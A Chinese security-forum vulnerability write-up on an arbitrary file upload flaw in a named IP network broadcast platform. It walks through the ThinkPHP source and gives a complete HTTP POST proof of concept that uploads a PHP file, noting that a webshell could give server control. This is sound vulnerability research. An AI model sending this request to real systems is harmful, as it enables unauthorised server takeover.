问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
IP网络广播服务平台remote-upgrade upload接口文件上传漏洞分析
漏洞分析
IP网络广播服务平台是采用云计算的模型分布部署实施的广播系统。云广播系统突破了单台服务器性能瓶颈,支持多层次跨地域广播,构建全省乃至全国的IP网络广播系统,可以广泛应用在农村、连锁机构等需要跨地域统一建设的广播系统中。IP网络广播服务平台存在任意文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。
一、漏洞简介 ------ ```php IP网络广播服务平台是采用云计算的模型分布部署实施的广播系统。云广播系统突破了单台服务器性能瓶颈,支持多层次跨地域广播,构建全省乃至全国的IP网络广播系统,可以广泛应用在农村、连锁机构等需要跨地域统一建设的广播系统中。IP网络广播服务平台存在任意文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。 ``` 二、影响版本 ------ 产品名称:IP网络广播服务平台 影响版本:T-7700RP-V2.917-20211105 三、漏洞原理分析 -------- 拿到源码,发现使用的ThinkPHP框架,先找路由文件 route.php  全局搜索 remote-upgrade  可以看到控制器在remoteUpgrade/RemoteUpgradeController.php文件中。 分别传入: /upload /all /delete 三个接口方法,我们重点看upload方法  可以在102行中直接调用了file()方法进行文件操作,跟进该方法:   在该方法中,首先进行了初始化文件数组操作: ```php if (empty($this->file)) { $this->file = isset($_FILES) ? $_FILES : []; } ... ``` 接着判断传入的文件名是否为空,如果不为空,则进行文件上传操作: ```php $files = $this->file; if (!empty($files)) { // 处理上传文件 $array = []; foreach ($files as $key => $file) { if (is_array($file['name'])) { ... ``` 最后处理上传的文件名和后缀,并返回文件上传结果。在该方法中没有做任何黑白名单限制,导致可以上传任意后缀文件,造成文件上传漏洞。 接着回到RemoteUpgradeController.php中:  可以看到文件上传到/uploads/remote\_upgrade/目录下,并返回该文件的MD5 哈希作为文件名+文件后缀 四、环境搭建 ------ ```php 本地搭建的环境,进行测试。 ``` 影响互联网资产:  复现环境:  五、漏洞复现 ------ 构造POC如下: ```php POST /api/v2/remote-upgrade/upload HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Content-Length: 239 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryruvtJJYIs63ReAhU Connection: close ------WebKitFormBoundaryruvtJJYIs63ReAhU Content-Disposition: form-data; name="file"; filename="../test.php" Content-Type: application/octet-stream <?php echo test_vuln;unlink(__FILE__);?> ------WebKitFormBoundaryruvtJJYIs63ReAhU-- ```  访问:  漏洞验证成功。 在实际授权的攻防中,我们可以上传webshell,获取服务器权限:  六、修复建议 ------ 建议做严格的白名单限制。 七、总结 ---- 这是比较常规的ThinkPHP的框架审计,主要看懂代码的路由架构,分析每路由功能,进行审计!
发表于 2024-09-02 10:00:02
阅读 ( 9431 )
分类:
Web应用
3 推荐
收藏
1 条评论
Jay
1秒前
源码能否分享下啊师傅,230287951@qq.com
请先
登录
后评论
请先
登录
后评论
afei00123
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!